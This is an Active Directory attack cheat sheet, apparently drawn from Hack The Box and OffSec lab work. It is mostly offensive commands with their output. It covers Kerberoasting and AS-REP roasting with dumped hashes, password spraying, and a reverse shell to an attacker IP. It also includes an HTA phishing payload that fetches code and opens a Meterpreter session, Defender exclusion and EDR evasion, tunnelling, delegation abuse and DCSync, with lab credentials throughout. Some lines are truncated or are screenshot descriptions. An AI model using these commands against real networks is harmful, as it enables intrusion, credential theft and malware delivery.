

# AD Cheat Sheet

Download Execute PowerView In Memory

```
IEX(New-Object System.Net.WebClient).DownloadString("http://10.0.2.10:8888/PowerView.ps1")
```

User Enumeration Kerbrute

```
./kerbrute userenum --dc 10.0.2.10 -d remo.htb users.txt
```

```
rem01x@Rem01x:~/ADExploitation$ ./kerbrute userenum --dc 10.0.2.10 -d remo.htb users.txt
[+] Starting search for valid users... [v1.0.3]
[+] Using KDC(s): 10.0.2.10:88
[+] Tested 15 usernames (3 valid) in 0.003 seconds
[+] VALID USERNAME: a.george@remo.htb
[+] VALID USERNAME: t.bruce@remo.htb
[+] VALID USERNAME: o.rashed@remo.htb
[+] Done!
```

ASREP Roasting

```
impacket-GetNPUsers remo.htb/ -dc-ip 10.0.2.10 -usersfile users
```

```

rem01x@Rem01x:~/ADExploitation$ impacket-GetNPUsers remo.htb/ -dc-ip 10.0.2.10 -usersfile users.txt -format john -outputfile crackme.txt -no-pass -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User a.george doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User t.brace doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

rem01x@Rem01x:~/ADExploitation$ cat crackme.txt
$krb5asrep$0.rashed@REMO.HTB:4a7d3d9542efaa288537e730e3f39b4f$d1cd13dcdb60fe30a2d52e8528fb3d8e34ee7609bc62e344322f01144a323285
6f5ce523fd76b0b2d253edde5c2ad5fa54ddf2ad9d01f5b3c991764fd0416c0dc1e1401d8aa292367c4fac3e754c978015908bdb93cbaea6e71f9a78f3031b
3f180aefcf3aba6465a90b9eeb67e8f3b6e02125b186c20000a906ebalef0ac4be11602641236d2712186c8e8f35788c0a65dec26e696286dbf07e21d5407
3c8e3ce899d7f42f6274bbf4757ff68e2f0241a4bf57f118c1df9cf36e42080ada2e34d31809ec849b27457a1334a82d293d1f3439deebdf704192861c1c25
aebca5bf4ff878

```

## Exploiting Force Change Password

```
Set-DomainUserPassword -Identity "TargetUser" -AccountPassword
```

## Targeted Kerberoasting Exploiting Generic Write

```
Import-Module ActiveDirectory
Set-ADUser -Identity "m.nathan" -ServicePrincipalNames @{}Add="http://crackme.com"
```

## Kerberoasting

```
impacket- GetUserSPNs remo.htb/'o.rashed':'MyP@ssw0rd!' -target-domain remo.htb
```

ServicePrincipalName	Name	MemberOf	PasswordLastSet	LastLogon
http/crackme	m.nathan	CN=Remote Management Users,CN=BuiltIn,DC=remo,DC=htb	2024-04-10 07:05:04.700473	<never>

[-] CCache file is not found. Skipping ...

## CrackMapExec RID BruteForce

```
crackmapexec smb flight.htb -u "svc_apache" -p 'S@Ss!K@*t13' --shares
```

```
rem01x@Rem01x:~/HackTheBox/Flight$ crackmapexec smb flight.htb -u "svc_apache" -p 'S@Ss!K@*t13' --shares  
--rid-brute 10000  
SMB      flight.htb    445  G0          [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  
SMB      flight.htb    445  G0          [+] flight.htb\svc_apache:S@Ss!K@*t13  
SMB      flight.htb    445  G0          [+] Enumerated shares  
SMB      flight.htb    445  G0          Share   Permissions      Remark  
SMB      flight.htb    445  G0          ADMIN$  
SMB      flight.htb    445  G0          C$      READ           Remote Admin  
SMB      flight.htb    445  G0          NETLOGON  READ           Default share  
SMB      flight.htb    445  G0          Shared   READ           Remote IPC  
SMB      flight.htb    445  G0          SYSVOL  READ           Logon server share  
SMB      flight.htb    445  G0          Users    READ           Logon server share  
SMB      flight.htb    445  G0          Web     READ           [+] Brute forcing RIDs  
SMB      flight.htb    445  G0          498: flight\Enterprise Read-only Domain Controllers (SidTypeGroup)  
SMB      flight.htb    445  G0          500: flight\Administrator (SidTypeUser)  
SMB      flight.htb    445  G0          501: flight\Guest (SidTypeUser)
```

## CrackMapExec Password Spraying

```
crackmapexec smb flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
```

```
rem01x@Rem01x:~/HackTheBox/Flight$ crackmapexec smb flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success  
SMB      flight.htb    445  G0          [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  
SMB      flight.htb    445  G0          [+] flight.htb\S.Moon:S@Ss!K@*t13  
SMB      flight.htb    445  G0          [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE  
SMB      flight.htb    445  G0          [-] flight.htb\G.Lorts:S@Ss!K@*t13 STATUS_LOGON_FAILURE  
SMB      flight.htb    445  G0          [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE  
SMB      flight.htb    445  G0          [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE  
SMB      flight.htb    445  G0          [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE  
SMB      flight.htb    445  G0          [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
```

## RunAs Reverse Shell

```
RunasCs.exe C.Bum "Tikkycoll_431012284" -r 10.10.16.5:5353 cmd
```

```
[+] Processed C:\Windows\system32\cmd.exe with pid 1396 created in background.
PS C:\users\svc_apache\Desktop> .\RunasCs.exe C.Bum "Tikkycoll_431012284" -r 10.10.16.5:5353 cmd
[*] Warning: The logon for user 'C.Bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-7782a$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1396 created in background.
PS C:\users\svc_apache\Desktop>
```

Getting Arrow keys interactive shell

```
rlwrap -cAr nc -lnvp 5353
```

```
rem01x@Rem01x:~/HackTheBox/Flight$ rlwrap -cAr nc -lnvp 5353
listening on [any] 5353 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.187] 50058
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
C:\Windows\system32>
```

listing open port on windows machine

```
netstat -ano | findstr /i LISTENING
```

C:\Users>netstat -ano   findstr /i LISTENING				
netstat -ano   findstr /i LISTENING				
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	4280
TCP	0.0.0.0:88	0.0.0.0:0	LISTENING	656
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	920
TCP	0.0.0.0:389	0.0.0.0:0	LISTENING	656
TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	4280
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:464	0.0.0.0:0	LISTENING	656
TCP	0.0.0.0:593	0.0.0.0:0	LISTENING	920
TCP	0.0.0.0:636	0.0.0.0:0	LISTENING	656
TCP	0.0.0.0:3268	0.0.0.0:0	LISTENING	656
TCP	0.0.0.0:3269	0.0.0.0:0	LISTENING	656
TCP	0.0.0.0:5985	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:8000	0.0.0.0:0	LISTENING	4 ENTERPRISE
TCP	0.0.0.0:9389	0.0.0.0:0	LISTENING	2344
TCP	0.0.0.0:47001	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:49664	0.0.0.0:0	LISTENING	500
TCP	0.0.0.0:49665	0.0.0.0:0	LISTENING	1096
TCP	0.0.0.0:49666	0.0.0.0:0	LISTENING	1492

chisel port forwarding.

```
./chisel_1.9.1_linux_amd64 server -p 8000 --reverse
```

```
rem01x@Rem01x:~/ADExploitation/tools$ ./chisel_1.9.1_linux_amd64 server -p 8000 --reverse
2024/04/13 19:26:09 server: Reverse tunnelling enabled
2024/04/13 19:26:09 server: Fingerprint 2Qa8WMkkgR2Dua+Qr50iKmgUerY0N6hS/Sx0l/XE+c4=
2024/04/13 19:26:09 server: Listening on http://0.0.0.0:8000
dir
2024/04/13 19:32:19 server: session#1: tun: proxy#R:8001⇒8000: Listening
```

chisel on target machine

```
chisel_1.9.1_windows_amd64 client 10.10.17.43:8000 R:3389:127.0
```

```
C:\Users\C.Bum\Desktop>.\chisel_1.9.1_windows_amd64 client 10.10.16.5:8000 R:8001:127.0.0.1:8000
.\chisel_1.9.1_windows_amd64 client 10.10.16.5:8000 R:8001:127.0.0.1:8000
2024/04/13 17:32:18 client: Connecting to ws://10.10.16.5:8000
2024/04/13 17:32:20 client: Connected (Latency 66.516ms)
```

Brute Forcing RID using rpcclient

```

for i in $(seq 500 1100); do
    rpcclient -N -U "" 10.10.10.172 -c "queryuser 0x$(printf '%08x' $i)" | grep "User Name\|user_rid\|group_rid" &> echo "";
done

```

```

(rem01x㉿Rem01x)-[~/HackTheBox/Monteverde]
$ for i in $(seq 500 1100); do
    rpcclient -N -U "" 10.10.10.172 -c "queryuser 0x$(printf '%08x' $i)" | grep "User Name\|user_rid\|group_rid" &> echo "";
done
User Name : Guest
user_rid : 0x1f5
group_rid: 0x202

```

## User And Password Spraying

```
crackmapexec smb 10.10.10.172 -u users.txt -p users.txt --contin
```

```

SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE
SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE
SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE
SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB      10.10.10.172  445  MONTEVERDE  [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\SABatchJobs:svc-ata STATUS_LOGON_FAILURE
SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\SABatchJobs:svc-bexec STATUS_LOGON_FAILURE
SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\SABatchJobs:svc-netapp STATUS_LOGON_FAILURE
SMB      10.10.10.172  445  MONTEVERDE  [-] MEGABANK.LOCAL\SABatchJobs:dgalanos STATUS_LOGON_FAILURE

```

resetting user password using smbpasswd

```
impacket-smbpasswd fabricorp.local/bhult:'Fabricorp01'@10.10.10.193 -newpass 'rem01x123$'
```

```

(rem01x㉿Rem01x)-[~/HackTheBox/Fuse]
$ impacket-smbpasswd fabricorp.local/bhult:'Fabricorp01'@10.10.10.193 -newpass 'rem01x123$'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.

```

Port one-liner

```
cat ports.txt | awk '{print $4}' | cut -d '/' -f 1 | sed ':a;N;s/\n/ /g' | sort | uniq
```

```
[rem01x@Rem01x]~[~/HackTheBox/Search]
$ cat ports.txt | awk '{print $4}' | cut -d '/' -f 1 | sed ':a;N;$!ba;s/\n/,/g'
49667,636,9389,139,49734,593,53,445,80,135,88,3268,49678,443,464,389,8172,3269,49677,49697
[rem01x@Rem01x]~[~/HackTheBox/Search]
$ 
```

python script to create combination for users

```
with open("users.txt", "r") as userfile:
    with open("test.txt", "w") as f:
        for user in userfile.readlines():
            user = user.strip("\n")
            user = user.lower()
            fname = user.split(" ")[0]
            lname = user.split(" ")[1]
            f.write(f"{fname}.{lname}\n{fname.capitalize()}.{lname}")
```

HTA Phishing

```
<html>
<head>
<title>Hacked By Rem01x</title>
<script language="JScript">
var myshell = new ActiveXObject("Wscript.Shell");
var del = myshell.Run("powershell iwr -uri 'http://10.10.17.43/0' > nul");
</script>
</head>
<body>
<script language="JScript">
    self.close();
</script>
</body>
</html>
```

```

[*] Started HTTPS reverse handler on https://10.10.17.43:443
[!] https://10.10.17.43:443 handling request from 10.10.110.254; (UUID: jtdrrqpi) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.17.43:443 handling request from 10.10.110.254; (UUID: jtdrrqpi) Staging x64 payload (202844 bytes) ...
[!] https://10.10.17.43:443 handling request from 10.10.110.254; (UUID: jtdrrqpi) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.17.43:443 → 10.10.110.254:60960) at 2024-04-30 09:36:02 -0400

meterpreter > sysinfo
Computer       : WS04
OS             : Windows 10 (10.0 Build 19045).
Architecture   : x64
System Language: en_GB
Domain         : RLAB
Logged On Users: 8
Meterpreter    : x64/windows
meterpreter > getprivs

Enabled Process Privileges

```

Name

85°F Sunny

Search

4:45 PM 4/30/2024

## Checking the live hosts in internal network

```
1..255 | ForEach-Object { $ip = "172.16.2.$_"; if (Test-Connect:
```

```
1..255 | ForEach-Object { $ip = "10.10.120.$_"; if (Test-Connection -ComputerName $ip -Count 1 -Quiet) {
Write-Host "Host $ip is reachable."
}
Host 10.10.120.1 is reachable.
Host 10.10.120.5 is reachable.
Host 10.10.120.10 is reachable.
Host 10.10.120.15 is reachable.
Host 10.10.120.20 is reachable.
```

## MSD Evasion Using ScareCrow

```
./ScareCrow -I shell.bin -domain www.microsoft.com -encryptionmod
```

```
Invoke-WebRequest -Uri 'http://10.10.110.254:30000/test.txt' -OutFile C:\Windows\Temp\test.txt
```

```
bitsadmin /transfer myDownloadJob /priority normal "http://10.10.10.10:8080/testfile.exe"
```

## Ping Live Hosts

```
fping -a -g 172.16.1.0/24
```

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit DB Google Hacking DB OffSec

```
(rem01x㉿Rem01x) [~/Offsec/OSEP/CRT0/Dante]
$ fping -a -g 172.16.1.0/24
172.16.1.5                               @ligolo-ng_0.5.2_checksums.txt
172.16.1.10                             @ligolo-ng_agent_0.5.2_darwin_amd64.tar.gz
172.16.1.13                             @ligolo-ng_agent_0.5.2_darwin_arm64.tar.gz
172.16.1.12                             @ligolo-ng_agent_0.5.2_linux_amd64.tar.gz
172.16.1.17                             @ligolo-ng_agent_0.5.2_linux_arm64.tar.gz
172.16.1.19                             @ligolo-ng_agent_0.5.2_linux_armv6.tar.gz
172.16.1.20                             @ligolo-ng_agent_0.5.2_linux_armv7.tar.gz
172.16.1.100                            @ligolo-ng_agent_0.5.2_windows_amd64.zip
172.16.1.101                            @ligolo-ng_agent_0.5.2_windows_arm64.zip
172.16.1.102                            @ligolo-ng_agent_0.5.2_windows_armv6.zip
```

## Add Exception To Defender (Semi Bypass!)

```
Add-MpPreference -ExclusionPath "C:\Users\Public" -ExclusionExtension ".zip"
```

## Constrained Delegation

```
impacket-getST -spn 'CIFS/dc.painters.htb' -impersonate 'DC$' -a
export KRB5CCNAME='Administrator@cifs_dc.painters.htb@PAINTERS.HTB'
```

```
(rem01x㉿Rem01x) [~/Offsec/OSEP/CRT0/Zephyr]
$ impacket-getST -spn 'CIFS/dc.painters.htb' -impersonate 'DC$' -altservice 'cifs' -hashes :3E696480E5699AF8BAE2E99EBCFF6CD7 'painters.htb/blake' -dc-ip 192.168.110.55
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping ...
[*] Getting TGT for user
[*] Impersonating DC$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from CIFS/dc.painters.htb@PAINTERS.HTB to cifs/dc.painters.htb@PAINTERS.HTB
[*] Saving ticket in DC$@cifs_dc.painters.htb@PAINTERS.HTB.ccache
```

```
$krb5tgs$23$*MBAM_DB_CAR$BERZIGROUP.LOCAL$berzigroup.local/MBAM_
$krb5tgs$23$*biqassso$BERZIGROUP.LOCAL$berzigroup.local/biqassso
```

```
$krb5tgs$23$*bidevss0$BERZIGROUP.LOCAL$berzigroup.local/bidevss0  
$krb5tgs$23$*biprdss0$BERZIGROUP.LOCAL$berzigroup.local/biprdss0
```

## Getting Ligolo Ready

```
sudo ip tuntap add user rem01x mode tun ligolo  
sudo ip link set ligolo up
```

```
valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.10.17.43/23 scope global tun0
        valid_lft forever preferred_lft forever
    inet6 dead:beef:4::1129/64 scope global
        valid_lft forever preferred_lft forever
    inet6 fe80::18fd:a0bf:da29:8822/64 scope link stable-privacy
        valid_lft forever preferred_lft forever
4: ligolo: <NO-CARRIER,POINTOPOINT,MULTICAST,NOARP,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 500
    link/none
```

## Starting Ligolo

```
./proxy -selfcert
```

## Adding Users to interesting groups

```
net localgroup administrators "PAINTERS\PNT-SVRBPA$" /add
net localgroup "Remote Management Users" "PAINTERS\PNT-SVRBPA$"
net localgroup "Remote Desktop Users" "PAINTERS\PNT-SVRBPA$" /ad
```

```
*Evil-WinRM* PS C:\Users\administrator\Desktop> whoami
pnt-svrba\james
*Evil-WinRM* PS C:\Users\administrator\Desktop> net localgroup administrators "PAINTERS\PNT-SVRBPA$" /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\administrator\Desktop> net localgroup "Remote Management Users" "PAINTERS\PNT-SVRBPA$" /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\administrator\Desktop> net localgroup "Remote Desktop Users" "PAINTERS\PNT-SVRBPA$" /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\administrator\Desktop>
```

## Change password using rpc

```
pth-net rpc password blake -U PAINTERS/'PNT-SVRBPA$'%ffffffffff:2dfcebbe9f5f4c
```

```
(rem01x@Rem01x) [~.../CRTE/ProLabs/Zephyr/bloodyAD]
$ pth-net rpc password blake -U PAINTERS/'PNT-SVRBPA$'%ffffffffff:2dfcebbe9f5f4c
b3bf98032887b3d7b6' -S 192.168.110.55
Enter new password for blake:
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH ...
```

## Find Delegation From linux

```
impacket-findDelegation -target-domain painters.htb -dc-ip 192.168.110.55
```

```
(rem01x@Rem01x) [~.../OSEP/CRTE/ProLabs/Zephyr]
$ impacket-findDelegation -target-domain painters.htb -dc-ip 192.168.110.55 painters/blake:P@ssw0
rd
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[!] KDC IP address and hostname will be ignored because of cross-domain targeting.

AccountName AccountType DelegationType DelegationRightsTo
-----
```

AccountName	AccountType	DelegationType	DelegationRightsTo
blake	Person	Constrained w/ Protocol Transition	CIFS/dc.painters.htb
blake	Person	Constrained w/ Protocol Transition	CIFS/DC
daniel	Person	Constrained	CIFS/dc.painters.htb
daniel	Person	Constrained	CIFS/DC

## Constrained Delegation Abuse

```
impacket-getST -spn 'CIFS/dc.painters.htb' -impersonate 'adminis
```

The screenshot shows a terminal window titled '(rem01x@Rem01x)'. The command entered is 'impacket-getST -spn 'CIFS/dc.painters.htb' -impersonate 'administrator' -altservice 'ldap' -hashes :E19CCF75EE54E06B06A5907AF13CEF42 'painters.htb/blake''. The output indicates that the CCache file is not found, and it proceeds to get a TGT for the 'Administrator' user, impersonate it, and change the service from CIFS to LDAP. A note in the output explains that 'Administrator' has the 'HTTPPRIMINARY/localhost local' service principal name (SPN) set in its msdsToDelegate attribute.

## DCSync with ticket

```
impacket-secretsdump -k -no-pass dc.painters.htb
```

The screenshot shows a terminal window titled '(rem01x@Rem01x)'. The command entered is 'impacket-secretsdump -k -no-pass dc.painters.htb'. The output shows the dumping of local SAM hashes for the Administrator, Guest, and DefaultAccount users, as well as cached domain logon information.

```
chisel_1.9.1_linux_amd64 client 10.10.17.65:8000 R:5432:127.0.0
```